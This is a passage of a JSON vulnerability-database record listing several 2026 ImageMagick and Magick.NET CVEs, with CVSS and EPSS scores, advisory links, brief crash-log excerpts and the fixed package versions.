(C) 2002-2017, and GNU GPL'd, by Julian Seward et al.\n==880062== Using Valgrind-3.18.1 and LibVEX; rerun with -h for copyright info\n==880062==\n==880062==\n==880062== HEAP SUMMARY:\n==880062== in use at exit: 386,826 bytes in 696 blocks\n==880062== total heap usage: 30,523 allocs, 29,827 frees, 21,803,756 bytes allocated\n==880062==\n==880062== LEAK SUMMARY:\n==880062== definitely lost: 3,408 bytes in 3 blocks\n==880062== indirectly lost: 88,885 bytes in 30 blocks\n==880062== possibly lost: 140,944 bytes in 383 blocks\n==880062== still reachable: 151,573 bytes in 259 blocks\n==880062== suppressed: 0 bytes in 0 blocks\n==880062== Reachable blocks (those to which a pointer was found) are not shown.\n==880062== To see them, rerun with: --leak-check=full --show-leak-kinds=all\n==880062==\n==880062== For lists of detected and suppressed errors, rerun with: -s\n==880062== ERROR SUMMARY: 2 errors from 2 contexts (suppressed: 0 from 0)\n```", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25637.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25637.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25637", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00019", "scoring_system": "epss", "scoring_elements": "0.05227", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25637" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/30ce0e8efbd72fd6b50ed3a10ae22f57c8901137", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/30ce0e8efbd72fd6b50ed3a10ae22f57c8901137" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442114", "reference_id": "2442114", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442114" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25637", "reference_id": "CVE-2026-25637", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25637" }, { "reference_url": "https://github.com/advisories/GHSA-gm37-qx7w-p258", "reference_id": "GHSA-gm37-qx7w-p258", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-gm37-qx7w-p258" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-gm37-qx7w-p258", "reference_id": "GHSA-gm37-qx7w-p258", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-gm37-qx7w-p258" }, { "reference_url": "https://usn.ubuntu.com/8263-1/", "reference_id": "USN-8263-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/8263-1/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "CVE-2026-25637", "GHSA-gm37-qx7w-p258" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-rabe-pnz7-mqbj" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50902?format=api", "vulnerability_id": "VCID-rp71-pwxm-quhd", "summary": "ImageMagick: Heap overflow in pcd decoder leads to out of bounds read.\nThe pcd coder lacks proper boundary checking when processing Huffman-coded data. The decoder contains an function that has an incorrect initialization that could cause an out of bounds read.\n\n```\n==3900053==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000003c6c at pc 0x55601b9cc552 bp 0x7ffd904b1f70 sp 0x7ffd904b1f60\nREAD of size 1 at 0x502000003c6c thread T0\n```", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-26284.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-26284.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-26284", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00023", "scoring_system": "epss", "scoring_elements": "0.0671", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-26284" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-26284", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-26284" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442137", "reference_id": "2442137", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442137" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26284", "reference_id": "CVE-2026-26284", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26284" }, { "reference_url": "https://github.com/advisories/GHSA-wrhr-rf8j-r842", "reference_id": "GHSA-wrhr-rf8j-r842", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-wrhr-rf8j-r842" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-wrhr-rf8j-r842", "reference_id": "GHSA-wrhr-rf8j-r842", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-24T20:46:33Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-wrhr-rf8j-r842" }, { "reference_url": "https://usn.ubuntu.com/8069-1/", "reference_id": "USN-8069-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/8069-1/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "CVE-2026-26284", "GHSA-wrhr-rf8j-r842" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-rp71-pwxm-quhd" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/62841?format=api", "vulnerability_id": "VCID-s3ws-rhp3-a7gj", "summary": "ImageMagick: Magick.NET: ImageMagick: Denial of Service via deeply nested XML file processing", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33908.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33908.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-33908", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.0002", "scoring_system": "epss", "scoring_elements": "0.05782", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-33908" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33908", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33908" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.12.0", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-14T15:29:51Z/" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.12.0" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/ccdc01180276aa2cb3d4a32a611aa4f417061cd8", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-14T15:29:51Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/ccdc01180276aa2cb3d4a32a611aa4f417061cd8" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/releases/tag/7.1.2-19", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-14T15:29:51Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/releases/tag/7.1.2-19" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-fwvm-ggf6-2p4x", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-14T15:29:51Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-fwvm-ggf6-2p4x" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33908", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33908" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2458041", "reference_id": "2458041", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2458041" }, { "reference_url": "https://github.com/advisories/GHSA-fwvm-ggf6-2p4x", "reference_id": "GHSA-fwvm-ggf6-2p4x", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-fwvm-ggf6-2p4x" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/109850?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.12.0", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.12.0" } ], "aliases": [ "CVE-2026-33908", "GHSA-fwvm-ggf6-2p4x" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-s3ws-rhp3-a7gj" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/62846?format=api", "vulnerability_id": "VCID-s8sd-nz2r-y3c7", "summary": "ImageMagick: Magick.NET: ImageMagick: Denial of Service via out-of-bounds write in XML parsing", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33899.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33899.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-33899", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00019", "scoring_system": "epss", "scoring_elements": "0.05369", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-33899" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33899", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33899" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.12.0", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-16T13:22:04Z/" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.12.0" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/ae679e2fd19ec656bfab9f822ae4cf06bf91604d", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-16T13:22:04Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/ae679e2fd19ec656bfab9f822ae4cf06bf91604d" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/releases/tag/7.1.2-19", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-16T13:22:04Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/releases/tag/7.1.2-19" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-cr67-pvmx-2pp2", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-16T13:22:04Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-cr67-pvmx-2pp2" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33899", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33899" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2458026", "reference_id": "2458026", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2458026" }, { "reference_url": "https://github.com/advisories/GHSA-cr67-pvmx-2pp2", "reference_id": "GHSA-cr67-pvmx-2pp2", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-cr67-pvmx-2pp2" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/109850?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.12.0", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.12.0" } ], "aliases": [ "CVE-2026-33899", "GHSA-cr67-pvmx-2pp2" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-s8sd-nz2r-y3c7" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50897?format=api", "vulnerability_id": "VCID-s9q4-zzzf-e7gt", "summary": "ImageMagick has Heap Buffer Overflow in WaveletDenoiseImage\nA crafted image could cause an out of bounds heap write inside the WaveletDenoiseImage method. When processing a crafted image with the -wavelet-denoise operation an out of bounds write can occur.\n\n```\n=================================================================\n==661320==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x503000002754 at pc 0x5ff45f82c92a bp 0x7fffb732b400 sp 0x7fffb732b3f0\nWRITE of size 4 at 0x503000002754 thread T0\n```", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-30936.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-30936.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-30936", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00022", "scoring_system": "epss", "scoring_elements": "0.06505", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-30936" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-30936", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-30936" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445880", "reference_id": "2445880", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445880" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30936", "reference_id": "CVE-2026-30936", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } 